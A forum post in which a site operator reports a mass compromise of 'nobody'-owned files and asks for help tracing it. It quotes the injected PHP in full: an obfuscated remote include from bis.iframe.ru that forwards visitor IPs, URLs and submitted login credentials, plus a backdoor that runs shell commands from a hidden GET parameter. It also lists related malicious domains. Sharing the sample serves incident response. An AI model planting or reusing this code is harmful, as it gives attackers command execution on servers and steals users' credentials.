Hacked From Bis.iframe.ru

today all the sites with files nobody:nobidy get hacked, every files was repleaced with

Code:
<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>
and a .htaccess files we have decode it the url are:

htmltags.ru
mshtml.ru
iframe.ru

we know that we should use SuExec to stop nobody files problem, but now we would a help to find where they got access, i have google and i have found this post but without solution:

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